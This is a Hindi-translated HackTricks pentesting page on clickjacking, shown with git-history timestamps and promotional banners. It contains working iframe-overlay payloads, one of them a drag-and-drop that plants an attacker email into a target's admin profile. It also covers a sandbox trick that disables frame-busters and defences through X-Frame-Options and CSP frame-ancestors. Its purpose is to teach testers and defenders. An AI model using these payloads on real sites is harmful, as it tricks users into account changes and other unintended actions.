hacktricks/pentesting-web/clickjacking.md

197 lines
20 KiB
Markdown
Raw Normal View History

# Clickjacking
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>AWS हैकिंग सीखें शून्य से लेकर हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
2022-04-28 16:01:33 +00:00
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram group**](https://t.me/peass) में या **Twitter** पर 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) को **फॉलो** करें.
* **अपनी हैकिंग ट्रिक्स साझा करें** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके.
2022-04-28 16:01:33 +00:00
</details>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
2022-06-06 22:28:05 +00:00
2023-01-01 16:19:07 +00:00
\
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) का उपयोग करके आसानी से **वर्कफ्लोज़ को बिल्ड और ऑटोमेट** करें जो दुनिया के **सबसे उन्नत** समुदाय टूल्स द्वारा संचालित होते हैं.\
आज ही एक्सेस प्राप्त करें:
2022-04-28 16:01:33 +00:00
2023-01-01 16:19:07 +00:00
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
2022-06-06 22:28:05 +00:00
## Clickjacking क्या है
Clickjacking एक हमला है जो **उपयोगकर्ता** को **क्लिक** करने के लिए **चालाकी** से मजबूर करता है एक वेबपेज **तत्व** पर जो **अदृश्य** है या किसी अन्य तत्व के रूप में प्रच्छन्न है. इससे उपयोगकर्ता अनजाने में मैलवेयर डाउनलोड कर सकते हैं, मलिशियस वेब पेजों पर जा सकते हैं, क्रेडेंशियल्स या संवेदनशील जानकारी प्रदान कर सकते हैं, पैसे ट्रांसफर कर सकते हैं, या ऑनलाइन उत्पादों की खरीदारी कर सकते हैं. (यहाँ से [here](https://www.imperva.com/learn/application-security/clickjacking/)).
### Prepopulate forms trick
कभी-कभी पेज लोड करते समय GET पैरामीटर्स का उपयोग करके फॉर्म के फील्ड्स की वैल्यू को **भरना संभव** होता है. एक हमलावर इस व्यवहार का दुरुपयोग कर सकता है फॉर्म को मनमाने डेटा से भरने के लिए और क्लिकजैकिंग पेलोड भेज सकता है ताकि उपयोगकर्ता सबमिट बटन दबाए.
2020-10-13 11:29:54 +00:00
### Populate form with Drag\&Drop
2020-10-13 11:29:54 +00:00
यदि आप चाहते हैं कि उपयोगकर्ता **फॉर्म भरे** लेकिन आप सीधे उससे कुछ विशेष जानकारी (जैसे कि ईमेल और या विशेष पासवर्ड जो आप जानते हैं) लिखने के लिए नहीं कहना चाहते हैं, तो आप उससे केवल **Drag\&Drop** करने के लिए कह सकते हैं जो आपके नियंत्रित डेटा को लिखेगा जैसे कि [**इस उदाहरण**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/) में.
### Basic Payload
```markup
<style>
2023-11-06 08:38:02 +00:00
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
```
### मल्टीस्टेप पेलोड
```markup
<style>
2023-11-06 08:38:02 +00:00
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
```
### ड्रैग\&ड्रॉप + क्लिक पेलोड
2020-10-13 11:29:54 +00:00
```markup
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
```
### XSS + Clickjacking
2020-10-13 11:29:54 +00:00
यदि आपने एक **XSS हमले की पहचान की है जिसके लिए उपयोगकर्ता को किसी तत्व पर क्लिक करने की आवश्यकता होती है** ताकि XSS को **ट्रिगर** किया जा सके और पृष्ठ **Clickjacking के लिए संवेदनशील हो**, तो आप इसका दुरुपयोग करके उपयोगकर्ता को बटन/लिंक पर क्लिक करने के लिए चालाकी से बहका सकते हैं।\
2023-11-06 08:38:02 +00:00
उदाहरण:\
_आपने खाते की कुछ निजी जानकारियों में एक **self XSS** का पता लगाया है (जानकारियां जो **केवल आप सेट और पढ़ सकते हैं**). इन विवरणों को सेट करने के लिए पृष्ठ **Clickjacking के लिए संवेदनशील** है और आप GET पैरामीटर्स के साथ **फॉर्म को पूर्व-पॉपुलेट** कर सकते हैं।_\
\_\_एक हमलावर उस पृष्ठ पर **Clickjacking** हमले की तैयारी कर सकता है **फॉर्म को XSS पेलोड के साथ पूर्व-पॉपुलेट** करके और **उपयोगकर्ता को फॉर्म सबमिट** करने के लिए **चालाकी से बहका** सकता है। इसलिए, **जब फॉर्म सबमिट किया जाता है** और मान बदले जाते हैं, तो **उपयोगकर्ता XSS को निष्पादित करेगा**
## Clickjacking से बचने के उपाय
### क्लाइंट साइड रक्षा
Clickjacking को रोकने के लिए क्लाइंट साइड पर स्क्रिप्ट्स को निष्पादित करना संभव है जो निम्नलिखित व्यवहारों में से कुछ या सभी को करते हैं:
* जांचें और सुनिश्चित करें कि वर्तमान एप्लिकेशन विंडो मुख्य या टॉप विंडो है,
* सभी फ्रेम्स को दृश्यमान बनाएं,
* अदृश्य फ्रेम्स पर क्लिक करने से रोकें,
* उपयोगकर्ता पर संभावित Clickjacking हमलों को इंटरसेप्ट करें और चिह्नित करें।
2023-11-06 08:38:02 +00:00
#### बाईपास
चूंकि फ्रेम बस्टर्स JavaScript हैं, इसलिए ब्राउज़र की सुरक्षा सेटिंग्स उनके संचालन को रोक सकती हैं या वास्तव में ब्राउज़र JavaScript का समर्थन भी नहीं कर सकता है। फ्रेम बस्टर्स के खिलाफ एक प्रभावी हमलावर वर्कअराउंड **HTML5 iframe `sandbox` विशेषता** का उपयोग करना है। जब इसे `allow-forms` या `allow-scripts` मानों के साथ सेट किया जाता है और `allow-top-navigation` मान को छोड़ दिया जाता है, तो फ्रेम बस्टर स्क्रिप्ट को निष्क्रिय किया जा सकता है क्योंकि iframe यह जांच नहीं कर सकता है कि क्या यह टॉप विंडो है या नहीं:
```markup
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
```
```
`allow-forms` और `allow-scripts` मान iframe के भीतर निर्दिष्ट क्रियाओं की अनुमति देते हैं लेकिन शीर्ष-स्तरीय नेविगेशन अक्षम होता है। यह फ्रेम बस्टिंग व्यवहारों को रोकता है जबकि लक्षित साइट के भीतर कार्यक्षमता की अनुमति देता है।
Clickjacking हमले के प्रकार के आधार पर **आपको अनुमति देने की आवश्यकता हो सकती है**: `allow-same-origin` और `allow-modals` या [और भी अधिक](https://www.w3schools.com/tags/att_iframe_sandbox.asp)। हमले की तैयारी करते समय बस ब्राउज़र के कंसोल की जांच करें, यह आपको बता सकता है कि आपको कौन से अन्य व्यवहारों की अनुमति देने की आवश्यकता है।
2022-06-06 22:28:05 +00:00
### X-Frame-Options
**`X-Frame-Options` HTTP प्रतिक्रिया हेडर** का उपयोग यह इंगित करने के लिए किया जा सकता है कि क्या एक ब्राउज़र को `<frame>` या `<iframe>` में पृष्ठ को रेंडर करने की **अनुमति** दी जानी चाहिए। साइटें इसका उपयोग Clickjacking हमलों से बचने के लिए कर सकती हैं, यह सुनिश्चित करके कि **उनकी सामग्री अन्य साइटों में एम्बेड नहीं की जा सकती**। HTML सामग्री वाली सभी प्रतिक्रियाओं के लिए **`X-Frame-Options`** हेडर सेट करें। संभावित मान हैं:
* `X-Frame-Options: deny` जो **किसी भी डोमेन को सामग्री को फ्रेम करने से रोकता है** _(अनुशंसित मान)_
2023-11-06 08:38:02 +00:00
* `X-Frame-Options: sameorigin` जो केवल **वर्तमान साइट को** सामग्री को फ्रेम करने की अनुमति देता है।
* `X-Frame-Options: allow-from https://trusted.com` जो **निर्दिष्ट 'uri' को** इस पृष्ठ को फ्रेम करने की अनुमति देता है।
* नीचे दी गई सीमाओं की जांच करें क्योंकि **यदि ब्राउज़र इसका समर्थन नहीं करता है तो यह खुला रहेगा**
* अन्य ब्राउज़र इसके बजाय नए **CSP frame-ancestors निर्देश का समर्थन करते हैं**। कुछ दोनों का समर्थन करते हैं।
### Content Security Policy (CSP) frame-ancestors निर्देश
**अनुशंसित clickjacking सुरक्षा** एप्लिकेशन की Content Security Policy में **`frame-ancestors` निर्देश** को शामिल करना है।\
**`frame-ancestors 'none'`** निर्देश **X-Frame-Options `deny`** निर्देश के समान व्यवहार में है (_कोई भी पृष्ठ को फ्रेम नहीं कर सकता_)।\
**`frame-ancestors 'self'`** निर्देश **X-Frame-Options `sameorigin`** निर्देश के समान है (_केवल वर्तमान साइट इसे फ्रेम कर सकती है_)।\
**`frame-ancestors trusted.com`** निर्देश **X-Frame-Options** `allow-from`निर्देश के समान है (_केवल विश्वसनीय साइट इसे फ्रेम कर सकती है_)।
निम्नलिखित CSP केवल समान डोमेन के फ्रेम्स को व्हाइटलिस्ट करता है:
`Content-Security-Policy: frame-ancestors 'self';`
अधिक जटिल उदाहरणों और आगे की जानकारी के लिए निम्नलिखित दस्तावेज़ देखें:
* [https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors)
* [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors)
### सीमाएँ <a href="#limitations" id="limitations"></a>
* **ब्राउज़र समर्थन:** CSP frame-ancestors सभी प्रमुख ब्राउज़रों द्वारा अभी तक समर्थित नहीं हैं।
* **X-Frame-Options को प्राथमिकता मिलती है:** [CSP Spec के "Relation to X-Frame-Options" अनुभाग](https://w3c.github.io/webappsec/specs/content-security-policy/#frame-ancestors-and-frame-options) कहता है: "_यदि कोई संसाधन एक नीति के साथ वितरित किया जाता है जिसमें frame-ancestors नामक एक निर्देश शामिल होता है और जिसका डिस्पोजिशन "enforce" होता है, तो X-Frame-Options हेडर को अनदेखा किया जाना चाहिए_", लेकिन Chrome 40 और Firefox 35 frame-ancestors निर्देश को अनदेखा करते हैं और इसके बजाय X-Frame-Options हेडर का पालन करते हैं।
2023-11-06 08:38:02 +00:00
## संदर्भ
* [**https://portswigger.net/web-security/clickjacking**](https://portswigger.net/web-security/clickjacking)
* [**https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html**](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html)
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) का उपयोग करके आसानी से **वर्कफ्लोज़ का निर्माण और स्वचालन** करें जो दुनिया के **सबसे उन्नत** समुदाय उपकरणों द्वारा संचालित होते हैं।\
आज ही पहुंच प्राप्त करें:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
<details>
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप अपनी **कंपनी को HackTricks में विज्ञापित** देखना चाहते हैं या **HackTricks को PDF में डाउनलोड** करना चाहते हैं तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा एक्सक्लूसिव [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
* **जुड़ें** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) या [**telegram group**](https://t.me/peass) या **Twitter** पर मुझे **फॉलो** करें 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **HackTricks** के लिए अपनी हैकिंग ट्रिक्स साझा करें [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके।
</details>
```